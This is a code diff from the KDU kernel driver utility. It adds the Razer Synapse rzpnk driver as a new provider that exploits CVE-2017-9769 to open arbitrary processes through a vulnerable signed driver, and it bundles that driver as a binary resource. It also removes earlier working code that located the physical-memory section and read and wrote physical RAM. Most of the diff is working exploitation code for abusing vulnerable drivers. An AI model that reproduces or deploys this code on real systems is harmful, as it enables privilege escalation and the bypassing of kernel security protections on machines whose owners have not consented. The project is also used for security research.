diff --git a/README.md b/README.md index 5040cf0..74c127e 100644 --- a/README.md +++ b/README.md @@ -149,6 +149,7 @@ You use it at your own risk. Some lazy AV may flag this tool as hacktool/malware | 40 | NVidia | nvoclock | NVidia System Utility Driver | Original | 7.0.0.32 | | | 41 | Binalyze | IREC | Binalyze DFIR | Original | 3.11.0 | | | 42 | DavidXXW | PhyDMACC | SLIC ToolKit | WINRING0 | 1.2.0 | | +| 43 | Razer | rzpnk | Razer Synapse | Original | 2.20.15.1104 | | ###### *At commit time, data maybe inaccurate. diff --git a/Source/Hamakaze/KDU.vcxproj b/Source/Hamakaze/KDU.vcxproj index d38df57..ee1d08d 100644 --- a/Source/Hamakaze/KDU.vcxproj +++ b/Source/Hamakaze/KDU.vcxproj @@ -156,6 +156,7 @@ + @@ -217,6 +218,7 @@ + diff --git a/Source/Hamakaze/KDU.vcxproj.filters b/Source/Hamakaze/KDU.vcxproj.filters index 2016d7c..9bfc8e3 100644 --- a/Source/Hamakaze/KDU.vcxproj.filters +++ b/Source/Hamakaze/KDU.vcxproj.filters @@ -216,6 +216,9 @@ Source Files\idrv + + Source Files\idrv + @@ -404,6 +407,9 @@ Source Files\idrv + + Source Files\idrv + diff --git a/Source/Hamakaze/KDU.vcxproj.user b/Source/Hamakaze/KDU.vcxproj.user index 007b498..d1f34ae 100644 --- a/Source/Hamakaze/KDU.vcxproj.user +++ b/Source/Hamakaze/KDU.vcxproj.user @@ -1,8 +1,7 @@  - - + -prv 43 -dmp 440 WindowsLocalDebugger diff --git a/Source/Hamakaze/idrv/rzpnk.cpp b/Source/Hamakaze/idrv/rzpnk.cpp index 418cdee..11e81bc 100644 --- a/Source/Hamakaze/idrv/rzpnk.cpp +++ b/Source/Hamakaze/idrv/rzpnk.cpp @@ -1,12 +1,12 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2020 +* (C) COPYRIGHT AUTHORS, 2020 - 2023 * * TITLE: RZPNK.CPP * -* VERSION: 1.00 +* VERSION: 1.40 * -* DATE: 02 Feb 2020 +* DATE: 20 Oct 2023 * * Razer Overlay Support driver routines. * @@ -20,69 +20,10 @@ #include "global.h" #include "idrv/rzpnk.h" -/*{ - -// -// Unfortunately all what it can - read/write to first 4gb of phys RAM. -// Exploitation of this driver in CVE-2017-14398 was a PURELY accidential. -// - KDU_MAX_NTBUILDNUMBER, - IDR_RAZER, - 0, - (LPWSTR)L"CVE-2017-9769, CVE-2017-9770", - (LPWSTR)L"Razer", - (LPWSTR)L"47CD78C9-64C3-47C2-B80F-677B887CF095", - (provReadKernelVM)KDUProviderStub, - (provWriteKernelVM)KDUProviderStub, - (provVirtualToPhysical)KDUProviderStub, - (provReadControlRegister)KDUProviderStub, - (provReadPhysicalMemory)RazerReadPhysicalMemory, - (provWritePhysicalMemory)RazerWritePhysicalMemory, - (provRegisterDriver)RazerRegisterDriver, - (provUnregisterDriver)RazerUnregisterDriver -}*/ - // -// Based on CVE-2017-9769, CVE-2017-9770. +// Based on CVE-2017-9769. // -HANDLE g_PhysicalMemorySection = NULL; - -/* -* RazerCallDriver -* -* Purpose: -* -* Call Razer Rzpnk driver. -* -*/ -BOOL RazerCallDriver( - _In_ HANDLE DeviceHandle, - _In_ ULONG IoControlCode, - _In_ PVOID InputBuffer, - _In_ ULONG InputBufferLength, - _In_opt_ PVOID OutputBuffer, - _In_opt_ ULONG OutputBufferLength) -{ - BOOL bResult = FALSE; - IO_STATUS_BLOCK ioStatus; - - NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle, - NULL, - NULL, - NULL, - &ioStatus, - IoControlCode, - InputBuffer, - InputBufferLength, - OutputBuffer, - OutputBufferLength); - - bResult = NT_SUCCESS(ntStatus); - SetLastError(RtlNtStatusToDosError(ntStatus)); - return bResult; -} - /* * RazerOpenProcess * @@ -91,294 +32,28 @@ BOOL RazerCallDriver( * Call ZwOpenProcess via razer driver request. * */ -BOOL RazerOpenProcess( +BOOL WINAPI RazerOpenProcess( _In_ HANDLE DeviceHandle, _In_ HANDLE ProcessId, + _In_ ACCESS_MASK DesiredAccess, _Out_ PHANDLE ProcessHandle ) { BOOL bResult; RAZER_OPEN_PROCESS request; + UNREFERENCED_PARAMETER(DesiredAccess); + request.ProcessId = ProcessId; request.ProcessHandle = NULL; - bResult = RazerCallDriver(DeviceHandle, + bResult = supCallDriver(DeviceHandle, IOCTL_RZPNK_OPEN_PROCESS, &request, sizeof(request), &request, sizeof(request)); - if (bResult) { - *ProcessHandle = request.ProcessHandle; - } - - return bResult; -} - -/* -* RazerMapMemory -* -* Purpose: -* -* Map physical memory through \Device\PhysicalMemory. -* -*/ -PVOID RazerMapMemory( - _In_ HANDLE DeviceHandle, - _In_ ULONG_PTR PhysicalAddress, - _In_ ULONG ViewSize) -{ - BOOL bResult = FALSE; - DWORD dwError = ERROR_SUCCESS; - RAZER_MAP_SECTION_INFO request; - HANDLE selfHandle; - - UNREFERENCED_PARAMETER(PhysicalAddress); - - CLIENT_ID clientID; - - clientID.UniqueProcess = UlongToHandle(GetCurrentProcessId()); - clientID.UniqueThread = NULL; - - OBJECT_ATTRIBUTES dummy; - InitializeObjectAttributes(&dummy, NULL, 0, NULL, NULL); - - if (!NT_SUCCESS(NtOpenProcess(&selfHandle, PROCESS_ALL_ACCESS, &dummy, &clientID))) - return NULL; - - RtlSecureZeroMemory(&request, sizeof(request)); - request.ViewCommitSize = ViewSize; - request.ProcessHandle = selfHandle; - request.ProcessId = clientID.UniqueProcess; - request.SectionHandle = g_PhysicalMemorySection; - - bResult = RazerCallDriver(DeviceHandle, - IOCTL_RZPNK_MAP_SECTION_USER_MODE, - &request, - sizeof(request), - &request, - sizeof(request)); - - if (!bResult) { - dwError = GetLastError(); - } - else { - dwError = RtlNtStatusToDosError(request.Status); - } - - CloseHandle(selfHandle); - - SetLastError(dwError); - return request.MappedBaseAddress; -} - -/* -* RazerReadWritePhysicalMemory -* -* Purpose: -* -* Read/Write virtual memory via Razer. -* -*/ -BOOL WINAPI RazerReadWritePhysicalMemory( - _In_ HANDLE DeviceHandle, - _In_ ULONG_PTR Address, - _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, - _In_ ULONG NumberOfBytes, - _In_ BOOLEAN DoWrite) -{ - BOOL bResult = FALSE; - DWORD dwError = ERROR_SUCCESS; - - ULONG ViewSize; - - if ((Address + NumberOfBytes) > MAXDWORD32) - return FALSE; - - ViewSize = Address + NumberOfBytes; - - PVOID mappedSection = RazerMapMemory(DeviceHandle, Address, ViewSize); - if (mappedSection) { - - if (DoWrite) { - RtlCopyMemory(RtlOffsetToPointer(mappedSection, Address), Buffer, NumberOfBytes); - } - else { - RtlCopyMemory(Buffer, RtlOffsetToPointer(mappedSection, Address), NumberOfBytes); - } - - NtUnmapViewOfSection(NtCurrentProcess(), mappedSection); - - bResult = TRUE; - } - - SetLastError(dwError); - return bResult; -} - -/* -* RazerReadPhysicalMemory -* -* Purpose: -* -* Read from physical memory. -* -*/ -BOOL WINAPI RazerReadPhysicalMemory( - _In_ HANDLE DeviceHandle, - _In_ ULONG_PTR PhysicalAddress, - _In_ PVOID Buffer, - _In_ ULONG NumberOfBytes) -{ - return RazerReadWritePhysicalMemory(DeviceHandle, - PhysicalAddress, - Buffer, - NumberOfBytes, - FALSE); -} - -/* -* RazerWritePhysicalMemory -* -* Purpose: -* -* Write to physical memory. -* -*/ -BOOL WINAPI RazerWritePhysicalMemory( - _In_ HANDLE DeviceHandle, - _In_ ULONG_PTR PhysicalAddress, - _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, - _In_ ULONG NumberOfBytes) -{ - return RazerReadWritePhysicalMemory(DeviceHandle, - PhysicalAddress, - Buffer, - NumberOfBytes, - TRUE); -} - -/* -* RazerRegisterDriver -* -* Purpose: -* -* Initialize Razer specific global variable (section handle value). -* Must be called before accessing Kernel R/W primitives. -* -*/ -BOOL WINAPI RazerRegisterDriver( - _In_ HANDLE DeviceHandle) -{ - BOOL bResult = FALSE; - ULONG SectionObjectType = (ULONG)-1; - HANDLE processHandle = NULL; - HANDLE sectionHandle = NULL; - PSYSTEM_HANDLE_INFORMATION_EX handleArray = NULL; - UNICODE_STRING ustr; - OBJECT_ATTRIBUTES obja; - - do { - // - // Open System process. - // - if (!RazerOpenProcess(DeviceHandle, (HANDLE)SYSTEM_PID_MAGIC, &processHandle)) - break; - - // - // Open dummy section handle. - // - RtlInitUnicodeString(&ustr, L"\\KnownDlls\\kernel32.dll"); - InitializeObjectAttributes(&obja, &ustr, OBJ_CASE_INSENSITIVE, NULL, NULL); - if (!NT_SUCCESS(NtOpenSection(§ionHandle, SECTION_QUERY, &obja))) - break; - - handleArray = (PSYSTEM_HANDLE_INFORMATION_EX)supGetSystemInfo(SystemExtendedHandleInformation); - if (handleArray == NULL) - break; - - ULONG i; - DWORD currentProcessId = GetCurrentProcessId(); - - // - // Find dummy section handle and remember it object type index. - // - for (i = 0; i < handleArray->NumberOfHandles; i++) { - if (handleArray->Handles[i].UniqueProcessId == currentProcessId && - handleArray->Handles[i].HandleValue == (ULONG_PTR)sectionHandle) - { - SectionObjectType = handleArray->Handles[i].ObjectTypeIndex; - break; - } - } - - NtClose(sectionHandle); - sectionHandle = NULL; - - if (SectionObjectType == (ULONG)-1) - break; - - HANDLE testHandle = NULL; - - // - // Some heur to find \Device\PhysicalMemory section. - // - for (i = 0; i < handleArray->NumberOfHandles; i++) { - if (handleArray->Handles[i].UniqueProcessId == SYSTEM_PID_MAGIC && - handleArray->Handles[i].ObjectTypeIndex == (ULONG_PTR)SectionObjectType && - handleArray->Handles[i].GrantedAccess == SECTION_ALL_ACCESS) - { - testHandle = (HANDLE)(SYSTEM_USER_TO_KERNEL_HANDLE + handleArray->Handles[i].HandleValue); - g_PhysicalMemorySection = testHandle; - - PVOID testBuffer = RazerMapMemory(DeviceHandle, 0, 0x100000); //1mb - if (testBuffer) { - - ULONG_PTR PML4 = supGetPML4FromLowStub1M((ULONG_PTR)testBuffer); - - NtUnmapViewOfSection(NtCurrentProcess(), testBuffer); - - // - // PML4 found, section looks legit. - // - if (PML4) - break; - } - g_PhysicalMemorySection = NULL; - } - } - - // - // Remember section handle if found and valid. - // - if (testHandle) { - g_PhysicalMemorySection = testHandle; - bResult = TRUE; - } - - } while (FALSE); - - if (sectionHandle) NtClose(sectionHandle); - if (processHandle) NtClose(processHandle); - if (handleArray) supHeapFree(handleArray); - + *ProcessHandle = request.ProcessHandle; return bResult; } - -/* -* RazerUnregisterDriver -* -* Purpose: -* -* Free razer driver related resources. -* -*/ -BOOL WINAPI RazerUnregisterDriver( - _In_ HANDLE DeviceHandle) -{ - UNREFERENCED_PARAMETER(DeviceHandle); - - return TRUE; -} diff --git a/Source/Hamakaze/idrv/rzpnk.h b/Source/Hamakaze/idrv/rzpnk.h index 3c5db59..177ed9e 100644 --- a/Source/Hamakaze/idrv/rzpnk.h +++ b/Source/Hamakaze/idrv/rzpnk.h @@ -1,12 +1,12 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2020 +* (C) COPYRIGHT AUTHORS, 2020 - 2023 * * TITLE: RZPNK.H * -* VERSION: 1.00 +* VERSION: 1.40 * -* DATE: 02 Feb 2020 +* DATE: 20 Oct 2023 * * Razer Overlay Support driver interface header. * @@ -20,51 +20,23 @@ #pragma once // -// Razer Overlay Support driver interface for CVE-2017-9769, CVE-2017-9770. +// Razer Overlay Support driver interface for CVE-2017-9769. // -#define RAZER_DEVICE_TYPE 0x00000022 //DEVICE_TYPE_UNKNOWN +#define RAZER_DEVICE_TYPE FILE_DEVICE_UNKNOWN #define RAZER_OPEN_PROCESS_FUNCID (DWORD)0x814 -#define RAZER_MAP_SECTION_FUNCID (DWORD)0x819 -#define IOCTL_RZPNK_OPEN_PROCESS CTL_CODE(RAZER_DEVICE_TYPE, RAZER_OPEN_PROCESS_FUNCID, METHOD_BUFFERED, FILE_WRITE_ACCESS) //0x22A050 -#define IOCTL_RZPNK_MAP_SECTION_USER_MODE CTL_CODE(RAZER_DEVICE_TYPE, RAZER_MAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_WRITE_ACCESS) //0x22A064 - -#define SYSTEM_PID_MAGIC 4 -#define SYSTEM_USER_TO_KERNEL_HANDLE 0xffffffff80000000 +#define IOCTL_RZPNK_OPEN_PROCESS \ + CTL_CODE(RAZER_DEVICE_TYPE, RAZER_OPEN_PROCESS_FUNCID, METHOD_BUFFERED, FILE_WRITE_ACCESS) //0x22A050 typedef struct _RAZER_OPEN_PROCESS { HANDLE ProcessId; HANDLE ProcessHandle; } RAZER_OPEN_PROCESS, * PRAZER_OPEN_PROCESS; -#pragma warning(push) -#pragma warning(disable:4324) // structure padded due to __declspec(align()) -typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT)_RAZER_MAP_SECTION_INFO { - HANDLE ProcessHandle; - HANDLE ProcessId; - HANDLE SectionHandle; - PVOID MappedBaseAddress; - ULONG ViewCommitSize; //WARNING, cannot map above 4GB - NTSTATUS Status; -} RAZER_MAP_SECTION_INFO, * PRAZER_MAP_SECTION_INFO; -#pragma warning(pop) - -BOOL WINAPI RazerRegisterDriver( - _In_ HANDLE DeviceHandle); - -BOOL WINAPI RazerUnregisterDriver( - _In_ HANDLE DeviceHandle); - -BOOL WINAPI RazerReadPhysicalMemory( - _In_ HANDLE DeviceHandle, - _In_ ULONG_PTR PhysicalAddress, - _In_ PVOID Buffer, - _In_ ULONG NumberOfBytes); - -BOOL WINAPI RazerWritePhysicalMemory( +BOOL WINAPI RazerOpenProcess( _In_ HANDLE DeviceHandle, - _In_ ULONG_PTR PhysicalAddress, - _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, - _In_ ULONG NumberOfBytes); + _In_ HANDLE ProcessId, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE ProcessHandle); diff --git a/Source/Hamakaze/kduplist.h b/Source/Hamakaze/kduplist.h index ce8de44..3f4ef19 100644 --- a/Source/Hamakaze/kduplist.h +++ b/Source/Hamakaze/kduplist.h @@ -46,6 +46,7 @@ #include "idrv/echodrv.h" #include "idrv/nvidia.h" #include "idrv/binalyze.h" +#include "idrv/rzpnk.h" // // Victims public array. @@ -1204,6 +1205,33 @@ static KDU_PROVIDER g_KDUProviders[] = (provValidatePrerequisites)NULL, (provOpenProcess)NULL + }, + + + { + NULL, + + (provStartVulnerableDriver)KDUProvStartVulnerableDriver, + (provStopVulnerableDriver)KDUProvStopVulnerableDriver, + + (provRegisterDriver)NULL, + (provUnregisterDriver)NULL, + (provPreOpenDriver)NULL, + (provPostOpenDriver)NULL, + (provMapDriver)NULL, + (provControlDSE)NULL, + + (provReadKernelVM)NULL, + (provWriteKernelVM)NULL, + + (provVirtualToPhysical)NULL, + (provQueryPML4)NULL, + (provReadPhysicalMemory)NULL, + (provWritePhysicalMemory)NULL, + + (provValidatePrerequisites)NULL, + + (provOpenProcess)RazerOpenProcess } }; diff --git a/Source/Hamakaze/res/SB_SMBUS_SDK.bin b/Source/Hamakaze/res/SB_SMBUS_SDK.bin index ad9a62e..fb862f3 100644 Binary files a/Source/Hamakaze/res/SB_SMBUS_SDK.bin and b/Source/Hamakaze/res/SB_SMBUS_SDK.bin differ diff --git a/Source/Hamakaze/res/Taigei32.bin b/Source/Hamakaze/res/Taigei32.bin index c1530dc..02c005f 100644 Binary files a/Source/Hamakaze/res/Taigei32.bin and b/Source/Hamakaze/res/Taigei32.bin differ diff --git a/Source/Shared/consts.h b/Source/Shared/consts.h index 9193c20..76e8114 100644 --- a/Source/Shared/consts.h +++ b/Source/Shared/consts.h @@ -104,6 +104,7 @@ #define IDR_PROCEXP1627 2000 #define IDR_PROCEXP1702 2001 #define IDR_INTEL_NAL 103 +#define IDR_RZPNK 104 #define IDR_RTCORE64 105 #define IDR_GDRV 106 #define IDR_ATSZIO64 107 @@ -192,6 +193,7 @@ #define KDU_PROVIDER_NVOCLOCK 40 #define KDU_PROVIDER_BINALYZE_IREC 41 #define KDU_PROVIDER_PHYDMACC 42 +#define KDU_PROVIDER_RAZER 43 #define KDU_PROVIDER_DEFAULT KDU_PROVIDER_INTEL_NAL diff --git a/Source/Tanikaze/Tanikaze.vcxproj b/Source/Tanikaze/Tanikaze.vcxproj index abf02fd..070a6d1 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj +++ b/Source/Tanikaze/Tanikaze.vcxproj @@ -219,6 +219,7 @@ + @@ -226,6 +227,7 @@ + diff --git a/Source/Tanikaze/Tanikaze.vcxproj.filters b/Source/Tanikaze/Tanikaze.vcxproj.filters index b6dbb69..37d150d 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj.filters +++ b/Source/Tanikaze/Tanikaze.vcxproj.filters @@ -184,6 +184,12 @@ Resource Files + + Resource Files + + + Resource Files + diff --git a/Source/Tanikaze/data/AsusCertService.bin b/Source/Tanikaze/data/AsusCertService.bin index cebad5f..bf3b089 100644 Binary files a/Source/Tanikaze/data/AsusCertService.bin and b/Source/Tanikaze/data/AsusCertService.bin differ diff --git a/Source/Tanikaze/data/KMUEXE.bin b/Source/Tanikaze/data/KMUEXE.bin index febc0ed..ae8f343 100644 Binary files a/Source/Tanikaze/data/KMUEXE.bin and b/Source/Tanikaze/data/KMUEXE.bin differ diff --git a/Source/Tanikaze/data/KMUSIG.bin b/Source/Tanikaze/data/KMUSIG.bin index 36a33bc..4f5a599 100644 --- a/Source/Tanikaze/data/KMUSIG.bin +++ b/Source/Tanikaze/data/KMUSIG.bin @@ -1,2 +1,2 @@ -���7?a�ce��z��,]�qq�>Vf[��&S�>��o��ְ��kFzQ���y,�-ҷ}e�I8��q^g�0��^���r*�(��a�7p}�?�4FjB\0K$1g^퉄���b���V`ʹ��%뇱�7�*��֯>��wi� +���7�-Vf[��&S�>��o��ְ��kFzQ���y,�-ҷ}e�I8��q^g�0��^���r*�(��a�7p}�?�4FjB\0K$1g^퉄���b���V`ʹ��%뇱�7�*��֯>��wi� mV?�SH��/�0�8��H� ]�� \ No newline at end of file diff --git a/Source/Tanikaze/data/dbutilcat.bin b/Source/Tanikaze/data/dbutilcat.bin index e70711b..a77585d 100644 Binary files a/Source/Tanikaze/data/dbutilcat.bin and b/Source/Tanikaze/data/dbutilcat.bin differ diff --git a/Source/Tanikaze/data/dbutilinf.bin b/Source/Tanikaze/data/dbutilinf.bin index c7613c6..bf8e745 100644 Binary files a/Source/Tanikaze/data/dbutilinf.bin and b/Source/Tanikaze/data/dbutilinf.bin differ diff --git a/Source/Tanikaze/drv/ALSysIO64.bin b/Source/Tanikaze/drv/ALSysIO64.bin index bafa186..417f423 100644 Binary files a/Source/Tanikaze/drv/ALSysIO64.bin and b/Source/Tanikaze/drv/ALSysIO64.bin differ diff --git a/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin b/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin index 278c459..f6d4c82 100644 Binary files a/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin and b/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin differ diff --git a/Source/Tanikaze/drv/ATSZIO64.bin b/Source/Tanikaze/drv/ATSZIO64.bin index b11f764..d72e2e9 100644 Binary files a/Source/Tanikaze/drv/ATSZIO64.bin and b/Source/Tanikaze/drv/ATSZIO64.bin differ diff --git a/Source/Tanikaze/drv/AsIO3.bin b/Source/Tanikaze/drv/AsIO3.bin index f4b0cdf..55979ab 100644 Binary files a/Source/Tanikaze/drv/AsIO3.bin and b/Source/Tanikaze/drv/AsIO3.bin differ diff --git a/Source/Tanikaze/drv/AsrDrv106.bin b/Source/Tanikaze/drv/AsrDrv106.bin index 0a2c85e..d8e1e48 100644 Binary files a/Source/Tanikaze/drv/AsrDrv106.bin and b/Source/Tanikaze/drv/AsrDrv106.bin differ diff --git a/Source/Tanikaze/drv/DbUtil2_3.bin b/Source/Tanikaze/drv/DbUtil2_3.bin index 1090598..9a3e8b1 100644 Binary files a/Source/Tanikaze/drv/DbUtil2_3.bin and b/Source/Tanikaze/drv/DbUtil2_3.bin differ diff --git a/Source/Tanikaze/drv/DirectIo64.bin b/Source/Tanikaze/drv/DirectIo64.bin index ea709e5..bfa61d7 100644 Binary files a/Source/Tanikaze/drv/DirectIo64.bin and b/Source/Tanikaze/drv/DirectIo64.bin differ diff --git a/Source/Tanikaze/drv/DirectIo64_2.bin b/Source/Tanikaze/drv/DirectIo64_2.bin index e305fee..b101ea3 100644 Binary files a/Source/Tanikaze/drv/DirectIo64_2.bin and b/Source/Tanikaze/drv/DirectIo64_2.bin differ diff --git a/Source/Tanikaze/drv/EneIo64.bin b/Source/Tanikaze/drv/EneIo64.bin index 2c1a76e..b816db1 100644 Binary files a/Source/Tanikaze/drv/EneIo64.bin and b/Source/Tanikaze/drv/EneIo64.bin differ diff --git a/Source/Tanikaze/drv/EneTechIo64.bin b/Source/Tanikaze/drv/EneTechIo64.bin index e004245..6abbfa7 100644 Binary files a/Source/Tanikaze/drv/EneTechIo64.bin and b/Source/Tanikaze/drv/EneTechIo64.bin differ diff --git a/Source/Tanikaze/drv/GLCKIO2.bin b/Source/Tanikaze/drv/GLCKIO2.bin index 5f40419..e2605fb 100644 Binary files a/Source/Tanikaze/drv/GLCKIO2.bin and b/Source/Tanikaze/drv/GLCKIO2.bin differ diff --git a/Source/Tanikaze/drv/HW64.bin b/Source/Tanikaze/drv/HW64.bin index 1070c62..2ef2c37 100644 Binary files a/Source/Tanikaze/drv/HW64.bin and b/Source/Tanikaze/drv/HW64.bin differ diff --git a/Source/Tanikaze/drv/KExplore.bin b/Source/Tanikaze/drv/KExplore.bin index 0ba3679..2c28ad6 100644 Binary files a/Source/Tanikaze/drv/KExplore.bin and b/Source/Tanikaze/drv/KExplore.bin differ diff --git a/Source/Tanikaze/drv/KObjExp.bin b/Source/Tanikaze/drv/KObjExp.bin index ef2637d..34c0979 100644 Binary files a/Source/Tanikaze/drv/KObjExp.bin and b/Source/Tanikaze/drv/KObjExp.bin differ diff --git a/Source/Tanikaze/drv/KRegExp.bin b/Source/Tanikaze/drv/KRegExp.bin index e33c42f..edf5c4c 100644 Binary files a/Source/Tanikaze/drv/KRegExp.bin and b/Source/Tanikaze/drv/KRegExp.bin differ diff --git a/Source/Tanikaze/drv/LDD.bin b/Source/Tanikaze/drv/LDD.bin index 327a189..66b3f3c 100644 Binary files a/Source/Tanikaze/drv/LDD.bin and b/Source/Tanikaze/drv/LDD.bin differ diff --git a/Source/Tanikaze/drv/MsIo64.bin b/Source/Tanikaze/drv/MsIo64.bin index cea6e12..c2093ae 100644 Binary files a/Source/Tanikaze/drv/MsIo64.bin and b/Source/Tanikaze/drv/MsIo64.bin differ diff --git a/Source/Tanikaze/drv/PhyDMACC.bin b/Source/Tanikaze/drv/PhyDMACC.bin index 49804b6..cb58ce6 100644 Binary files a/Source/Tanikaze/drv/PhyDMACC.bin and b/Source/Tanikaze/drv/PhyDMACC.bin differ diff --git a/Source/Tanikaze/drv/Phymemx64.bin b/Source/Tanikaze/drv/Phymemx64.bin index 301b55d..ea4e5d9 100644 Binary files a/Source/Tanikaze/drv/Phymemx64.bin and b/Source/Tanikaze/drv/Phymemx64.bin differ diff --git a/Source/Tanikaze/drv/RTCore64.bin b/Source/Tanikaze/drv/RTCore64.bin index cfd2928..5230d68 100644 Binary files a/Source/Tanikaze/drv/RTCore64.bin and b/Source/Tanikaze/drv/RTCore64.bin differ diff --git a/Source/Tanikaze/drv/SysDrv3S.bin b/Source/Tanikaze/drv/SysDrv3S.bin index e60d920..54814f4 100644 Binary files a/Source/Tanikaze/drv/SysDrv3S.bin and b/Source/Tanikaze/drv/SysDrv3S.bin differ diff --git a/Source/Tanikaze/drv/WinRing0x64.bin b/Source/Tanikaze/drv/WinRing0x64.bin index 3191bc2..978ddf5 100644 Binary files a/Source/Tanikaze/drv/WinRing0x64.bin and b/Source/Tanikaze/drv/WinRing0x64.bin differ diff --git a/Source/Tanikaze/drv/amsdk.bin b/Source/Tanikaze/drv/amsdk.bin index 2715dd8..a9d7d0e 100644 Binary files a/Source/Tanikaze/drv/amsdk.bin and b/Source/Tanikaze/drv/amsdk.bin differ diff --git a/Source/Tanikaze/drv/asio2.bin b/Source/Tanikaze/drv/asio2.bin index 198ff56..a13ca24 100644 Binary files a/Source/Tanikaze/drv/asio2.bin and b/Source/Tanikaze/drv/asio2.bin differ diff --git a/Source/Tanikaze/drv/dbk64.bin b/Source/Tanikaze/drv/dbk64.bin index 80428bb..635d538 100644 Binary files a/Source/Tanikaze/drv/dbk64.bin and b/Source/Tanikaze/drv/dbk64.bin differ diff --git a/Source/Tanikaze/drv/dbutildrv2.bin b/Source/Tanikaze/drv/dbutildrv2.bin index 1bddbe3..4cd2723 100644 Binary files a/Source/Tanikaze/drv/dbutildrv2.bin and b/Source/Tanikaze/drv/dbutildrv2.bin differ diff --git a/Source/Tanikaze/drv/echo_driver.bin b/Source/Tanikaze/drv/echo_driver.bin index a2ef048..2177f3a 100644 Binary files a/Source/Tanikaze/drv/echo_driver.bin and b/Source/Tanikaze/drv/echo_driver.bin differ diff --git a/Source/Tanikaze/drv/ene2.bin b/Source/Tanikaze/drv/ene2.bin index 9fc6289..869c83e 100644 Binary files a/Source/Tanikaze/drv/ene2.bin and b/Source/Tanikaze/drv/ene2.bin differ diff --git a/Source/Tanikaze/drv/etdsupp.bin b/Source/Tanikaze/drv/etdsupp.bin index aaa2cd4..5a998fc 100644 Binary files a/Source/Tanikaze/drv/etdsupp.bin and b/Source/Tanikaze/drv/etdsupp.bin differ diff --git a/Source/Tanikaze/drv/gdrv.bin b/Source/Tanikaze/drv/gdrv.bin index 09c2b13..ee17a80 100644 Binary files a/Source/Tanikaze/drv/gdrv.bin and b/Source/Tanikaze/drv/gdrv.bin differ diff --git a/Source/Tanikaze/drv/gmerdrv.bin b/Source/Tanikaze/drv/gmerdrv.bin index ade1456..3d29c72 100644 Binary files a/Source/Tanikaze/drv/gmerdrv.bin and b/Source/Tanikaze/drv/gmerdrv.bin differ diff --git a/Source/Tanikaze/drv/heavenluo.bin b/Source/Tanikaze/drv/heavenluo.bin index f150b50..1549cac 100644 Binary files a/Source/Tanikaze/drv/heavenluo.bin and b/Source/Tanikaze/drv/heavenluo.bin differ diff --git a/Source/Tanikaze/drv/iQVM64.bin b/Source/Tanikaze/drv/iQVM64.bin index a95a7b2..ecd7740 100644 Binary files a/Source/Tanikaze/drv/iQVM64.bin and b/Source/Tanikaze/drv/iQVM64.bin differ diff --git a/Source/Tanikaze/drv/inpoutx64.bin b/Source/Tanikaze/drv/inpoutx64.bin index 7b92628..046e157 100644 Binary files a/Source/Tanikaze/drv/inpoutx64.bin and b/Source/Tanikaze/drv/inpoutx64.bin differ diff --git a/Source/Tanikaze/drv/irec.bin b/Source/Tanikaze/drv/irec.bin index af0e5b6..855b7da 100644 Binary files a/Source/Tanikaze/drv/irec.bin and b/Source/Tanikaze/drv/irec.bin differ diff --git a/Source/Tanikaze/drv/kprocesshacker.bin b/Source/Tanikaze/drv/kprocesshacker.bin index 107b363..662ca8e 100644 Binary files a/Source/Tanikaze/drv/kprocesshacker.bin and b/Source/Tanikaze/drv/kprocesshacker.bin differ diff --git a/Source/Tanikaze/drv/lha.bin b/Source/Tanikaze/drv/lha.bin index 9637255..d23c417 100644 Binary files a/Source/Tanikaze/drv/lha.bin and b/Source/Tanikaze/drv/lha.bin differ diff --git a/Source/Tanikaze/drv/mimidrv.bin b/Source/Tanikaze/drv/mimidrv.bin index c88db1b..d2308f3 100644 Binary files a/Source/Tanikaze/drv/mimidrv.bin and b/Source/Tanikaze/drv/mimidrv.bin differ diff --git a/Source/Tanikaze/drv/nvoclock.bin b/Source/Tanikaze/drv/nvoclock.bin index 832ba6e..bc7076f 100644 Binary files a/Source/Tanikaze/drv/nvoclock.bin and b/Source/Tanikaze/drv/nvoclock.bin differ diff --git a/Source/Tanikaze/drv/pcdsrvc_x64.bin b/Source/Tanikaze/drv/pcdsrvc_x64.bin index 6a0be9c..b7e78b4 100644 Binary files a/Source/Tanikaze/drv/pcdsrvc_x64.bin and b/Source/Tanikaze/drv/pcdsrvc_x64.bin differ diff --git a/Source/Tanikaze/drv/physmem.bin b/Source/Tanikaze/drv/physmem.bin index 8e58db2..330fae9 100644 Binary files a/Source/Tanikaze/drv/physmem.bin and b/Source/Tanikaze/drv/physmem.bin differ diff --git a/Source/Tanikaze/drv/procexp1627.bin b/Source/Tanikaze/drv/procexp1627.bin index 75b14ed..5e3df8c 100644 Binary files a/Source/Tanikaze/drv/procexp1627.bin and b/Source/Tanikaze/drv/procexp1627.bin differ diff --git a/Source/Tanikaze/drv/procexp1702.bin b/Source/Tanikaze/drv/procexp1702.bin index 1b9a986..742815e 100644 Binary files a/Source/Tanikaze/drv/procexp1702.bin and b/Source/Tanikaze/drv/procexp1702.bin differ diff --git a/Source/Tanikaze/drv/rtkio64.bin b/Source/Tanikaze/drv/rtkio64.bin index e3515a0..add34f4 100644 Binary files a/Source/Tanikaze/drv/rtkio64.bin and b/Source/Tanikaze/drv/rtkio64.bin differ diff --git a/Source/Tanikaze/drv/rzpnk.bin b/Source/Tanikaze/drv/rzpnk.bin new file mode 100644 index 0000000..29d8485 Binary files /dev/null and b/Source/Tanikaze/drv/rzpnk.bin differ diff --git a/Source/Tanikaze/resource.h b/Source/Tanikaze/resource.h index 3ddf7bc..cc5ea45 100644 --- a/Source/Tanikaze/resource.h +++ b/Source/Tanikaze/resource.h @@ -3,6 +3,7 @@ // Used by resource.rc // #define IDR_INTEL_NAL 103 +#define IDR_RZPNK 104 #define IDR_RTCORE64 105 #define IDR_GDRV 106 #define IDR_ATSZIO64 107 @@ -56,7 +57,7 @@ // 